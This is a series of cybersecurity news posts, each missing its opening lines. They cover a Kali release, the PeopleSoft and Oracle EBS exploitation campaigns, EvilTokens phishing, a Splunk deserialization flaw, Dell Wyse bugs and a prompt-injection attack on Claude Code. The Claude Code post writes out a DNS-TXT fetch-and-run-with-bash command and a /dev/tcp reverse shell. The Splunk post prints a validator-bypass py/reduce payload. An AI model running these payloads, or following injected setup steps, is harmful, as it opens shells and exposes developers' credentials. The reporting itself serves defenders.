This release bumps two major desktop environments to their latest versions. GNOME 50 arrives with significant file manager optimizations, faster thumbnail and icon loading, reduced memory usage, a revamped accessibility preferences window, and support for document annotations directly within the Document Viewer app.

KDE Plasma 6.6 focuses on accessibility and usability, introducing a new on-screen keyboard, OCR-powered text extraction via the Spectacle screenshot utility, color-vision support options, and adoption of the standardized Reduced Motion setting.

One of the headline changes in 2026.2 is a major overhaul of how graphics firmware is handled in virtual machine environments. Previously, pre-built Kali images shipped with graphics firmware for NVIDIA, AMD, and Intel GPUs, consuming nearly 300 MB and bloating the initrd to approximately 200 MB, directly contributing to slow boot times.

In 2026.2, pre-built VM images no longer include graphics firmware, and the installer now detects VM environments and skips graphics firmware installation accordingly. The result is a leaner 60 MB initrd and boot times approximately 3x faster for QEMU VM users. Bare-metal users are unaffected and continue to receive full firmware pre-installation.

Kali 2026.2 retires the long-standing /etc/apt/sources.list file in favor of the new deb822-style format at /etc/apt/sources.list.d/kali.sources.

With 2026.2, multiple packages have been updated to use unified helper scripts that now consistently handle all of the following:

• Manage the service — start and stop it cleanly.
• Check if already running — prevents accidental double-start.
• Show service status — clear, readable output every time.
• Display default credentials — no more hunting through documentation.
• Show access details — for web UI-based tools, the URL is shown and automatically opened in the browser.

Freshly installed systems will use the new format automatically, while existing installations will continue to function, though APT will eventually warn users to migrate. This aligns Kali with changes already underway in Debian and Ubuntu derivatives.

Kali 2026.2 ships with Linux kernel 6.19, a deliberate choice to avoid compatibility breakage with NVIDIA DKMS drivers reported against kernel 7.0 in Debian. Users who want the bleeding-edge 7.0 kernel can opt in via the kali-experimental repository.

Additionally, this release includes disruptive updates requiring a system reboot specifically for polkit (to avoid failures when running GUI applications as root) and xrdp/xorgxrdp v0.10 (relevant for Hyper-V Enhanced Session Mode users).

9 New Tools Added

Kali 2026.2 expands its toolset with nine new additions to the network repositories:

• arsenal-ng — Go-based command library with 200+ cybersecurity cheat-sheets
• hydra-gtk — Re-added GTK+ GUI for the fast network logon cracker
• legba — Multiprotocol credentials bruteforcer and password sprayer
• oletools — Analysis toolkit for MS OLE2 files and Office documents
• penelope — Powerful shell handler for post-exploitation
• shell-gpt — AI-powered LLM command-line productivity tool
• tailscale — Secure connectivity platform
• tookie-osint — OSINT tool for social media account discovery
• uro — URL declutter utility for web crawling and pentesting

On the mobile front, the NetHunter app now launches instantly with bug fixes for custom commands and chroot management. A milestone achievement is the Qcacld-3.0 injection patch, enabling Wi-Fi injection support across devices including OnePlus 7/9, POCO X3 Pro, Redmi Note 10, Samsung A73, and Xiaomi Mi A3.

New NetHunter Pro bare-metal support has been extended to over 20 additional devices spanning Google Pixel, Sony Xperia, Samsung, and Xiaomi lineups.

Users can upgrade existing Kali installations via sudo apt update && sudo apt full-upgrade, or download fresh images at kali.org.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post Kali Linux 2026.2 Released With 9 New Tools and VM Boot Tweaking appeared first on Cyber Security News.

The attack stems from CVE-2026-35273, a CVSS 9.8-rated unauthenticated Server-Side Request Forgery (SSRF)-to-Remote Code Execution (RCE) vulnerability residing in the Updates Environment Management (PSEMHUB) component of Oracle PeopleSoft PeopleTools versions 8.61 and 8.62.

The flaw requires no authentication, no user interaction, and is exploitable over plain HTTP, meaning any attacker with network reach to a vulnerable instance could achieve full remote code execution. Oracle issued an emergency out-of-band security patch on June 10, 2026, and the vulnerability was added to CISA’s Known Exploited Vulnerabilities (KEV) catalog just two days later.

Mandiant and Google’s Threat Intelligence Group (GTIG) attribute the campaign to UNC6240 (ShinyHunters), a financially motivated cybercrime collective also tracked as Bling Libra.

Exploitation was observed as early as May 27, 2026, more than two weeks before Oracle’s advisory, with the group compromising over 300 PeopleSoft instances across 100+ organizations worldwide using automated attack scripts.

Nissan Confirms Data Breach

According to breach notifications filed with the California Attorney General’s Office, Nissan Americas confirmed it was specifically singled out within the broader campaign. The breach window spans May 27 to June 9, 2026, and potentially exposed sensitive employee data including:

• Contact and banking information
• Social Security Numbers (SSN), Social Insurance Numbers (SIN), and National Identification Numbers
• Financial and tax data
• Dependent and beneficiary information

The incident is believed to impact current and former Nissan employees in the United States, Canada, Mexico, and Brazil.

Nissan activated its incident response protocols immediately upon notification, engaging external cybersecurity specialists and cooperating with law enforcement authorities.

As a containment measure, the company restricted payroll system access, including pay slip viewing and direct deposit changes, to corporate network computers or secure VPN connections, with additional identity authentication layers implemented before processing payroll requests. Nissan is also arranging free credit and dark web monitoring services for affected individuals where available.

Mandiant’s analysis reveals that ShinyHunters deployed MeshCentral remote management agents on compromised hosts, disguising them as legitimate Microsoft Azure services (e.g., meshagent64-azure-ops.exe) with C2 communications routed to wss://azurenetfiles[.]net:443/agent.ashx.

Post-exploitation activity included internal PeopleSoft configuration reconnaissance, lateral movement scripting, and data exfiltration using zstd compression. Compromised servers were marked with a ransom note file named README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT.

Key Indicators of Compromise (IOCs)

Mitigations

Organizations running PeopleTools 8.61 or 8.62 should treat patching as an emergency priority. Beyond patching, Rapid7 and Mandiant recommend:

• Disable or restrict the PSEMHUB service and block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector at the network perimeter
• Monitor outbound SMB traffic (TCP/445) from PeopleSoft servers for external NetNTLM hash capture attempts
• Hunt for compromise indicators even post-patching, given exploitation activity predates Oracle’s advisory by two weeks
• Rotate all credentials accessible from potentially compromised PeopleSoft instances

This marks the second CVSS 9.8 Oracle ERP zero-day exploited in under eight months, following Cl0p’s abuse of CVE-2025-61882 in Oracle E-Business Suite beginning in August 2025 — a pattern that signals ERP platforms have become primary industrialized targets for organized extortion operations.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post Nissan Confirms Data Breach Following Oracle PeopleSoft 0-Day Attacks appeared first on Cyber Security News.

Earlier, we detailed that WhatsApp is preparing to roll out a long-anticipated username feature. Now WhatsApp has officially launched the ability to reserve usernames, marking one of the most significant privacy overhauls in the app’s history.

The Meta-owned platform, which serves over three billion users globally, is now allowing users to claim a unique handle ahead of the feature’s full rollout later this year, ensuring popular usernames are available before demand peaks.

What the Username Feature Does

At its core, the WhatsApp username feature replaces the need to share a personal phone number when initiating new conversations. Once enabled, a user’s phone number remains entirely hidden from new contacts; they will only see the username.

This is particularly useful in scenarios such as joining a neighborhood group, meeting someone at a professional event, or interacting in community chats where distributing personal contact details feels premature or unsafe.

The feature is optional; users who prefer the traditional phone-number-based system can continue using WhatsApp as before without any disruption.

Username Format and Rules

WhatsApp has defined strict formatting guidelines to maintain uniqueness and prevent abuse:

• Usernames must be 3 to 35 characters in length
• Only lowercase letters (a–z), numbers (0–9), periods, and underscores are permitted
• Every username must contain at least one letter purely numeric handles are blocked
• Handles resembling web domains (e.g., endings like .com, .in) are automatically rejected
• Usernames must be unique across Meta platforms, meaning existing Instagram or Facebook handles can optionally be claimed on WhatsApp

Beyond basic usernames, WhatsApp is introducing an optional “username key” a four-digit PIN-like code that acts as a secondary access gate.

New contacts who discover a user’s handle must also enter this key before they can send a message, effectively neutralizing unsolicited contact and spam from unknown parties. Existing conversations with established contacts are not affected by this requirement.

This layered approach, handle plus key, mirrors security architecture seen in enterprise identity systems, and reflects WhatsApp’s growing emphasis on end-user privacy controls.

Unlike social platforms where users can be discovered through search browsing or algorithmic recommendations, WhatsApp usernames operate on a strict zero-discovery model.

There is no public directory, no search suggestions, and no way to browse usernames. A contact must know the exact username to initiate communication, which significantly limits exposure to unsolicited outreach.

WhatsApp began a limited beta rollout in April 2026, with Indian beta users among the first to access the feature. The global rollout is being executed in phases across Android, iOS, Windows, and Web.

To reserve a username now, users can navigate to Settings > Account > Username on the latest version of WhatsApp. WhatsApp has also integrated a username generator to assist users in selecting a unique handle.

Creators, small businesses, and organizations can claim their existing Instagram or Facebook username directly on WhatsApp, ensuring brand consistency across Meta’s ecosystem.

This update represents a fundamental identity shift for WhatsApp, moving from number-based identification to handle-based interaction.

Given the platform’s scale, this change has major implications for reducing phone number exposure, minimizing SIM-swap fraud vectors, and protecting users in high-risk regions where phone numbers are tightly linked to financial and government identity systems.

The username feature brings WhatsApp in line with Telegram and Signal, which have long offered handle-based communication as a privacy standard.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post WhatsApp Launches New Username Feature to Communicate Without Exposing Phone Numbers appeared first on Cyber Security News.

Inspecting the page at the full browser level closes that gap. By watching how the page actually behaves once it executes in a dynamic environment, teams get the proof they need to confirm the threat and act on it sooner. 

Key Takeaways 

• EvilTokens conceals critical stages of its phishing flow behind browser-side decryption, leaving a blind spot for static URL analysis. 
• The kit takes advantage of Microsoft’s genuine device-login process to obtain account access without ever directly capturing the victim’s password. 
• Evidence gathered at the browser level lets SOC teams cut down on manual review, skip needless escalations, and reach containment decisions faster. 
• Threat Intelligence pivots tie a single EvilTokens session to related kits, infrastructure, indicators, and the broader landscape of device-code phishing. 
• The decrypted code and its behavioral patterns can also feed stronger phishing signatures, threat-hunting efforts, and custom detection logic. 

Who EvilTokens Targets: Regions and Industries Most Exposed 

ANY.RUN Threat Intelligence data shows that recent EvilTokens activity is clustered primarily across the United States and Europe. View recent EvilTokens activity in ANY.RUN Threat Intelligence 

So far, the kit has been seen going after organizations in: 

• Managed security services 
• Technology 
• Manufacturing 
• Education 
• Banking 
• Consulting and financial services 

The pattern points to EvilTokens focusing on environments where a single compromised Microsoft 365 account can open the door to sensitive data, internal conversations, and linked business services. 

Why EvilTokens Becomes a Blind Spot for SOC Teams 

EvilTokens remains one of the phishing kits ANY.RUN observes most often in its weekly threat reports. 

A recent analysis session demonstrated how the kit leans on Microsoft Device Code Phishing to take over accounts without lifting credentials outright. Rather than stealing a password, it persuades the victim to walk through Microsoft’s legitimate device-login flow and, without realizing it, grant access to their own account.

Check analysis session with recent EvilTokens attack 

The reason the attack is hard to investigate comes down to how it hides its phishing content. The landing-page HTML is encrypted with AES-GCM and only becomes readable once the browser decrypts it and renders it into the DOM. 

That means static URL checks and network-level detection may record the initial response while never revealing what the victim actually sees on screen. The result is an incomplete verdict, extra manual checks, avoidable escalations, and delayed containment. 

This visibility gap turns into a business problem. When a SOC can’t observe what a suspicious page does after it runs in the browser, the fallout reaches well past a slower investigation. It can mean: 

• A longer window of exposure to a possible Microsoft 365 account takeover 
• Slower containment and response decisions 
• More alerts pushed up to senior security staff 
• A heavier investigation load and higher operational cost 
• Incomplete evidence for blocking the surrounding infrastructure 
• Greater odds of unauthorized access to corporate data and services 

To confirm the threat quickly, teams need to see what unfolds once the page starts executing. In the walkthrough below, we use ANY.RUN’s in-browser data inspection to surface the decrypted page, follow the requests driving the device-code flow, and gather evidence for both response and future detection. 

Surface phishing activity hidden inside the browser. Give your SOC the evidence to confirm threats and respond sooner. Contact ANY.RUN 

Using in-browser data inspection within ANY.RUN’s Interactive Sandbox, investigators can study cases like this across several layers: 

• HTML DOM Changes: Records how the DOM shifts over time and lets investigators compare snapshots of the same page. It flags byte-level differences from the previous DOM state, making it simple to pinpoint the exact moment the decrypted phishing page appears. 
• HTTP Requests: Opens up visibility into browser-level network traffic — requests covering HTML, JavaScript, Fetch/XHR, scripts, static assets, binaries, archives, and other request types. 
• URL Details: Shows the final URL and domain, SSL certificate data, DNS A records, request statistics, and any detection signatures that fired. 
• Indicators: Pulls together indicators of compromise tied to the page, such as top-level domains, subdomains, URL endpoints, file hashes, IP addresses, and ASN details. 

Triage Walkthrough Using Browser Data 

The network traffic reveals that EvilTokens serves the landing page inside an HTTP response encrypted with AES-GCM. The decrypted HTML DOM can then be reviewed in the Browser Data panel: 

From here, you can step through snapshots of the DOM structure once the AES-GCM-encrypted code has been decrypted. The HTML DOM Changes fields hold the following details: 

• Timeshift: How much time has passed since the analysis began when the DOM snapshot was taken. 
• Score: The risk rating assigned to that state of the page. In the screenshot it reads 100, matching the signatures triggered by that DOM state. 
• Size diff: How the DOM size changed relative to the previous snapshot. 
• Size: The size of the current DOM snapshot. 
• Page: The domain linked to the snapshot. 

The figure worth focusing on is the green +48-byte size diff. Selecting the fourth snapshot shows which line was removed and which was added versus the previous snapshot. Looking at the Render panel on the left, we can confirm that a user code has surfaced on the page — the attackers will use that code later to seize the victim’s Microsoft 365 account. 

This indicates the landing page pulled the user code from the backend dynamically through a Fetch/XHR request, which can be inspected in the HTTP Requests tab. Lining up the Timeshift values of the HTTP request and the DOM snapshot, we can determine that the user code came from a request to the /api/device/start endpoint. Clicking the URL confirms it: 

Pivoting from a Single EvilTokens Session to the Wider Threat 

What you learn from one analysis session can be used to surface related phishing infrastructure and activity. Begin with URL Details, where the code exposed in the DOM set off the Microsoft OAuth device-code phishing signature. 

Searching that signature in ANY.RUN’s Threat Intelligence turns up other phishing resources built on similar code patterns: 

TI Query: ruleName:”^Microsoft OAuth device-code phishing has been detected$” 

The results make clear this behavior isn’t exclusive to EvilTokens. Other kits use comparable code and techniques, letting teams move past a single isolated case and recognize a broader cluster of related threats. 

Grow one investigation into the wider threat picture. Sharpen detection and shut down related attacks before they spread. Improve threat detection 

To narrow the search to EvilTokens specifically, use this query: 

TI Query: threatName:”eviltokens” 

Threat Intelligence data confirms that recent EvilTokens activity is concentrated mainly across the United States and Europe: 

Teams can also follow device-code phishing more broadly with the oauth-ms-phish threat tag: 

TI Query: threatName:”oauth-ms-phish” 

This wider search helps teams spot related campaigns even when they ride on a different phishing kit or infrastructure. 

Next, head back to Browser Data and open the Indicators tab. Not every artifact gathered during analysis belongs in your detection rules. The observed IP address, for instance, sits in the CloudflareNet autonomous system — blocking or alerting on that shared infrastructure could generate false positives and disrupt legitimate services. 

The session’s more specific indicators — the domain, URI, and hash — make stronger candidates for further validation and detection: 

TI Query: url:”/api/device/start” or domainName:”emp01825.workers.dev$” or md5:”fcd1b654a0b3e8f85ca7cfdafe494d4b” 

By pivoting across signatures, threat names, tags, and carefully chosen IOCs, teams can link an individual alert to wider phishing activity, broaden detection coverage, and get ahead of related attacks. 

Breaking Down the EvilTokens Attack Logic 

The HTML DOM Changes view isn’t only useful for triage — it also supports deeper code analysis. By studying the decrypted page logic, teams can spot recurring patterns that may feed low-level phishing detection rules. 

Gate Check and Decoy Delivery 

The first fragment shows the client issuing a gate-check request to: 

/api/device/gate/<PAGE_ID> 

The backend responds with a killed flag that decides what comes next. If the phishing flow is still live, the attack proceeds. If not, the victim is served a decoy page styled to look like a Microsoft error or an expired-link notice. This gives operators a way to switch off the phishing page or mask its real behavior when particular visitors or conditions show up. 

Requesting and Displaying the User Code 

The next fragment fires a POST request to _startUrl: 

/api/device/start 

The backend returns the userCode, sessionId, and verification URI. The script then saves the session, builds _verificationUrl, and writes the user code into the DOM for the victim. 

This is the very activity seen earlier in the HTTP Requests view, tying the browser-side code directly to the network request and to the user code shown on the page. 

Monitoring the Device-Code Session 

The frontend then tracks the device-code session’s status through: 

/api/device/status/{sessionId} 

It sends repeated GET requests carrying the current sessionId and receives the latest status back from the backend. Once the status flips to completed, the script stops polling, shows a success screen, and forwards the victim to the genuine OneDrive site. 

That closing redirect makes the attack look successful and above-board, while the attackers hold onto the access granted through the finished Microsoft device-login flow. By joining the decrypted DOM code with browser requests and the visible page changes, teams can rebuild the full phishing logic and surface the code patterns, endpoints, and behaviors that may harden future detection. 

Turning Hidden Browser Activity into Faster SOC Decisions 

The EvilTokens investigation highlights the real-world payoff of browser-level evidence. Rather than stopping at the encrypted HTTP response, teams can see the decrypted DOM, identify the request that produced the user code, follow the device-code session, and pull out artifacts for detection and threat hunting. This sharpens the investigation workflow in several ways: 

• Faster triage and fewer needless escalations: Tier 1 analysts can verify suspicious URLs using direct browser-level evidence instead of leaning on partial indicators. That cuts uncertainty, speeds up verdicts, and keeps more benign cases from landing on senior teams. 
• Smoother handoff and quicker response: When escalation is warranted, Tier 2 inherits the full attack context — DOM changes, HTTP requests, triggered signatures, rendered content, and relevant indicators. That reduces duplicated effort and supports faster containment. 
• Stronger detection engineering: Decrypted page code, browser requests, endpoints, and behavioral patterns offer solid raw material for custom phishing signatures, hunting hypotheses, and detection rules grounded in observed attacker behavior. 
• More focused threat hunting: Teams can pivot from one EvilTokens session to related domains, code patterns, kits, and device-code attacks inside ANY.RUN’s Threat Intelligence, pushing the investigation past a single URL. 
• Clearer reporting: Structured findings convert tangled browser activity into evidence that’s easier to apply during triage, escalation, incident response, and stakeholder updates. 

For SOC and MSSP teams, that adds up to less time spent manually piecing browser activity back together, smarter use of senior staff, and a quicker route from a suspicious URL to a confident response. 

Turn hidden browser activity into clear response evidence. Cut investigation delays and help your SOC move faster. Accelerate response now 

The post EvilTokens Phishing Breaches Finance Firms Using “Ghost” Code Across U.S. and European Businesses appeared first on Cyber Security News.

Published on June 25, 2026, the proof-of-concept (PoC) attack targets agentic coding tools such as Claude Code and exploits indirect prompt injection, a technique that embeds malicious instructions in external content the AI agent processes, rather than in direct user input.

The result is catastrophic: a fully interactive shell running under the developer’s own user privileges, with access to every secret in the environment, from ANTHROPIC_API_KEY to AWS_SECRET_ACCESS_KEY and GITHUB_TOKEN.

Prompt injection is recognized as LLM01:2025, the single most critical vulnerability in AI applications, according to the OWASP Foundation. This latest research demonstrates why — it is not merely a chatbot nuisance but a mechanism capable of delivering total system compromise.

New Claude Code Attack

The attack is deceptively simple and chains three ordinary-looking components that individually raise no alarms.

Step 1 — A Normal-Looking Repository

The malicious repository presents a standard README describing a fictional cloud deployment tool called “Axiom.” Setup instructions look completely legitimate: install dependencies, then run python3 -m axiom init. There is no overtly suspicious content, and the project passes any human code review.

Step 2 — A Package Engineered to Fail

The Python package is intentionally designed to refuse execution until initialized. On first use, it raises a plain, helpful RuntimeError directing the user to run python3 -m axiom init. This mirrors a completely ordinary software pattern, which is exactly what makes it effective — Claude Code treats this error as a routine recovery situation.

Step 3 — A Setup Script That Fetches Its Payload from DNS

The init command calls a shell script that resolves a DNS TXT record controlled by the attacker and pipes its contents directly to bash:

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

The DNS TXT record contains a base64-encoded reverse shell payload:

"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash"

This decodes to a standard reverse shell: bash -i >& /dev/tcp/<attacker-host>/4443 0>&1. Because the payload is fetched at runtime from DNS, it is completely invisible to static code scanners, human reviewers, and the AI agent itself.

When the developer asks Claude Code to get the project running, the agent autonomously:

1. Reads the repository files and installs requirements
2. Attempts to use the app and encounters the RuntimeError
3. Reads the error message and runs python3 -m axiom init as routine error recovery
4. The init script resolves the attacker’s DNS TXT record and executes the decoded payload
5. A reverse shell connects to the attacker’s server

The developer’s terminal output shows nothing suspicious — only:

Initialising Axiom platform...
Environment ready

Claude Code never consciously “decided” to open a shell. It decided to fix an error. The reverse shell was three indirection steps removed from anything the agent actually evaluated.

Once the reverse shell is established, the attacker acquires:

• Full interactive shell running as the developer’s own user account
• All environment secrets: API keys, cloud credentials, Git tokens, and .env file contents
• Persistence mechanisms: ability to drop SSH keys, install cron jobs, or deploy backdoors
• A swappable payload: the DNS TXT record can be updated at any time with no repository commit required, leaving no diff for any tool to catch
• Broad reach: a single repository link distributed via job postings, tutorials, Slack messages, or blog posts can compromise every developer who opens it with an agentic coding tool.

This attack surface is not unique to Claude Code; the same chain can affect any agentic coding tool that autonomously follows setup flows, including Cursor and Gemini CLI.

The attack exploits a fundamental architectural gap: its components are spread across three separate systems that are never examined together.

This technique of hiding the payload off-repo and delivering it at runtime also appeared in CVE-2025-55284, a high-severity Claude Code vulnerability patched in June 2025, in which prompt injection was used to exfiltrate API keys via DNS subdomain encoding.

This research confirms that indirect prompt injection in agentic systems is not a theoretical chatbot problem. It is an active, weaponizable attack vector with real-world potential for supply chain distribution.

In March 2026, Unit 42 documented the first large-scale indirect prompt injection attacks observed in the wild, signaling that threat actors are actively operationalizing this class of exploit.

The core issue is architectural: agentic coding tools have authorized access to everything an attacker needs: private environment variables, credentials, API keys, and local configuration files while simultaneously consuming untrusted content from repositories, documentation, and error messages.

Until vendors implement transparent runtime execution chains and developers adopt sandbox-first workflows for unfamiliar code, this attack surface remains wide open.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post New Claude Code Attack Allows Attackers to Take Full Control of Developers’ Systems appeared first on Cyber Security News.

The operation, conducted under “Operation Offsides,” targeted websites that were broadcasting live World Cup matches without authorization, in violation of U.S. copyright laws.

Authorities confirmed that these domains were actively offering real-time streams of matches as they were being officially aired.

Assistant Attorney General A. Tysen Duva stated that the action aims to disrupt international criminal networks profiting from illegal streaming services.

He emphasized that protecting intellectual property rights is a priority, especially given that the United States is one of the host nations for the 2026 World Cup.

Law enforcement agencies, including Homeland Security Investigations (HSI) and the National Intellectual Property Rights Coordination Center (IPR Center), played a key role in identifying and seizing the domains.

U.S. Seizes Hundreds of Domains

Officials warned that illegal streaming platforms not only violate copyright laws but also pose serious cybersecurity risks to users.

According to HSI, users accessing such sites may be exposed to malware, phishing attacks, and unsecured connections that can compromise sensitive personal and financial information. These risks make piracy websites a common vector for cybercriminal activity.

The investigation was supported by several private sector and international partners, including FIFA, NBCUniversal, beIN Media Group, Warner Bros., and the Motion Picture Association’s Alliance for Creativity and Entertainment (ACE).

These organizations helped identify infringing domains and provided critical intelligence. Authorities revealed that servers and domains linked to illegal streaming were traced to countries such as Peru and Bulgaria, known hubs for online piracy.

Additional enforcement actions were carried out in Croatia, Romania, Poland, and Colombia, highlighting the global scale of the operation.

The crackdown was coordinated through the International Computer Hacking and Intellectual Property (ICHIP) program, which enables collaboration between U.S. prosecutors and international law enforcement agencies.

The coordinated operation disrupted piracy infrastructure across multiple jurisdictions, with seizure banners placed on affected domains warning users against illegal streaming services.

The U.S. Department of Justice (DOJ) said its Computer Crime and Intellectual Property Section (CCIPS) has led efforts against cyber-enabled IP crimes, securing over 180 convictions and recovering more than $350 million since 2020.

The operation underscores the increasing intersection between cybercrime and digital piracy, with authorities reinforcing their commitment to dismantling illegal streaming ecosystems and protecting both consumers and content rights holders.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post U.S. Seizes Hundreds Domains Used to Stream World Cup Matches Illegally appeared first on Cyber Security News.

The flaw, carrying a CVSS score of 8.8, allows a low-privileged authenticated attacker to execute arbitrary code on the Splunk host server without requiring admin or power-level roles.

CVE-2026-20251 resides in Splunk Secure Gateway’s alert processing pipeline. The component reads attacker-controlled documents from Splunk’s App Key Value Store (KV Store), specifically the mobile_alerts collection.

Passes them directly to jsonpickle.decode(), a Python deserialization library capable of reconstructing arbitrary Python objects from crafted JSON.

Although the call sets safe=True, this flag only blocks the legacy py/repr evaluation path. Critical gadget tags including py/reduce, py/object, py/type, py/function, and py/module remain fully exploitable.

Splunk Secure Gateway Deserialization RCE Vulnerability

A secondary validator (check_alert_data_valid_json), intended to block dangerous tags, short-circuits on the first recognized key.

If the first top-level key is a permitted py/object value starting with spacebridgeapp, the function immediately returns True and never inspects sibling keys, including any embedded py/reduce gadget.

The exploit requires only a valid low-privilege Splunk account. The attacker writes a specially crafted bypass document to the mobile_alerts KV Store collection via the Splunk REST API.

When SSG processes an alert fetch request, alerts_request_processor.py reads the document, the validator passes it (tricked by the lure py/object key), and jsonpickle is used.decode() reconstructs the malicious object, triggering arbitrary OS command execution.

The bypass document structure exploits this logic flaw:

{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}

The validator approves the document on the py/object key and never reaches the malicious notification payload.

Researcher Fady Oueslati of ReactiveZero Security Research published the PoC (poc_cve_2026_20251.py) on June 26, 2026, under reference 2026FO-SPLUNK-20251.

The PoC demonstrates two independent conditions: validator bypass (returning True for the crafted document) and py/reduce execution under safe=True.

The payload used is deliberately benign (uname -a). Testing was conducted on SSG 3.9.19 running on Splunk Enterprise 10.0.6.

Organizations should immediately upgrade Splunk Secure Gateway to versions 3.9.20, 3.10.6, or 3.8.67, and Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+.

If patching is not immediately possible, disable or remove the Splunk Secure Gateway app entirely as a short-term mitigation. However, this disables Splunk Mobile, Spacebridge, and Mission Control functionality.

Security teams should also enforce least-privilege roles, restrict KV Store write access to the mobile_alerts collection, and replace jsonpickle.decode() on attacker-reachable code paths with strict schema-validated parsers.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post Public PoC Released for Deserialization RCE Vulnerability in Splunk Secure Gateway appeared first on Cyber Security News.

CVE-2026-46817 is a critical-severity flaw residing in the Oracle Payments product within Oracle E-Business Suite, specifically in the File Transmission component. The vulnerability carries a CVSS 3.1 base score of 9.8 and allows an unauthenticated attacker with network access via HTTP to fully compromise Oracle Payments, leading to complete takeover of confidentiality, integrity, and availability.

Affected versions span Oracle E-Business Suite 12.2.3 through 12.2.15. The CVSS vector reflects the low attack complexity and zero authentication requirement, making it trivially exploitable at scale.

Oracle E-Business Flaw Actively Exploited

Over the weekend of June 27–28, 2026, active exploitation of CVE-2026-46817 was detected on Oracle E-Business Suite honeypots, representing the first known in-the-wild exploitation of this flaw. No public proof-of-concept (PoC) code exists, indicating that the threat actor may be operating with privately developed exploit capabilities.

The attack traffic captured on the Defused honeypots revealed targeted POST requests to /OA_HTML/ibytransmit, the Oracle iPayment file transmission endpoint.

The attacker IP 45.84.137[.]125, operating through AS136787 PacketHub S.A. (France), targeted port 443 and submitted a crafted XML DeliveryRequest payload.

The payload contained a CODEX_PULL transmission scheme, with the FULL_FILE_PATH parameter set to /etc/passwd — a classic indicator of a local file read / path traversal exploitation chain designed to exfiltrate sensitive system files.

According to Shadowserver, there were a combined 456 hits on June 28 across all monitored regions, with North America (193) and Asia (181) absorbing the bulk of the attack traffic. Europe accounted for 53 hits, South America for 18, Africa for 9, and Oceania for 2.

Oracle addressed CVE-2026-46817 in its May 2026 Critical Security Patch Update (CSPU), released on May 28, 2026. The update addressed 35 unique CVEs across multiple Oracle product families, with 11 classified as critical.

Oracle strongly urged all customers to apply the patches immediately upon release. A supplementary June 2026 CSPU was subsequently released on June 16, 2026, reinforcing Oracle’s advisory posture.

Indicators of Compromise (IOCs)

Organizations running Oracle E-Business Suite should act immediately:

• Apply the May 2026 CSPU patch for EBS versions 12.2.3–12.2.15 without delay.
• Block or restrict public internet access to Oracle EBS interfaces, particularly the /OA_HTML/ path.
• Audit web server logs for POST requests to /OA_HTML/ibytransmit with unusual XML payloads.
• Threat hunt for the attacker IP 45.84.137.125 and the User-Agent string ibytransmit-lab-poc/1.0 across firewall and proxy logs.
• Conduct a compromise assessment if patching was delayed beyond May 28, 2026.

Given the absence of public PoC code and the confirmed emergence of private exploit tooling, unpatched Oracle EBS deployments remain at severe risk of full system compromise.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post Hackers Exploiting Critical Oracle E-Business Suite Vulnerability Actively in Attacks appeared first on Cyber Security News.

The vulnerabilities affect Dell Wyse Management Suite versions before 5.5 HF1, a widely used platform for centralized management of thin clients and endpoint devices.

Successful exploitation could allow attackers to gain full control over targeted environments, posing a serious risk to enterprise networks.

Security researchers identified two key vulnerabilities, both capable of leading to remote code execution (RCE) under specific conditions.

The most severe issue, CVE-2026-41120, has a CVSS score of 9.8, indicating critical severity. The flaw is classified as an “Acceptance of Extraneous Untrusted Data With Trusted Data” vulnerability.

Dell Wyse Vulnerabilities

According to Dell, a low-privileged remote attacker can exploit this issue without user interaction. This significantly increases the risk, as threat actors could leverage the vulnerability to execute malicious code across vulnerable systems.

The second vulnerability, CVE-2026-49506, has a CVSS score of 7.2 and involves a path-traversal vulnerability.

This flaw allows a highly privileged remote attacker to manipulate file paths and potentially access restricted directories. If successfully exploited, it could also lead to remote code execution, compromising system integrity, confidentiality, and availability.

Both vulnerabilities highlight serious weaknesses in the Wyse Management Suite’s input validation and access control mechanisms.

In real-world attack scenarios, an attacker could chain these flaws with other techniques to move laterally within a network, deploy malware, or exfiltrate sensitive data.

Dell confirmed that security researcher Tien Phan responsibly disclosed the vulnerabilities. The company has since released a patched version, Wyse Management Suite 5.5 HF1, on May 8, 2026, which addresses both issues.

Organizations using affected versions are strongly advised to upgrade immediately to the remediated version. Delaying patch deployment could leave systems exposed to active exploitation, especially given the critical nature of CVE-2026-41120.

In addition to patching, security teams should review system logs for any signs of unusual activity, restrict remote access where possible, and implement network segmentation to reduce potential attack surfaces.

Monitoring for indicators of compromise (IOCs) related to unauthorized code execution or suspicious file access is also recommended.

The DSA-2026-225 advisory emphasizes that CVSS scores should be considered alongside environmental and temporal factors when assessing risk.

Organizations operating large-scale endpoint infrastructures or internet-exposed WMS instances may face heightened exposure.

This disclosure adds to the growing list of enterprise management platforms being targeted due to their high-value role in centralized control environments.

As attackers continue to focus on management interfaces, timely patching and proactive monitoring remain critical defense strategies. Dell customers can access the updated version through the official support portal and are encouraged to follow Dell’s vulnerability response guidance to ensure systems remain secure.

 Strengthen Your SOC by Accelerating Threat Detection & Rapid Investigations. -> Integrate ANY.RUN With Your SOC Now.

The post Critical Dell Wyse Vulnerabilities Enable Remote Code Execution Attacks appeared first on Cyber Security News.

The vulnerability, tracked as CVE-2025-60727, affects multiple versions of Microsoft Office and underscores the continued risk posed by document-based attack techniques commonly used in phishing campaigns.

The issue is classified as an out-of-bounds read vulnerability (CWE-125). It exists in the way Microsoft Excel processes specially crafted file structures.

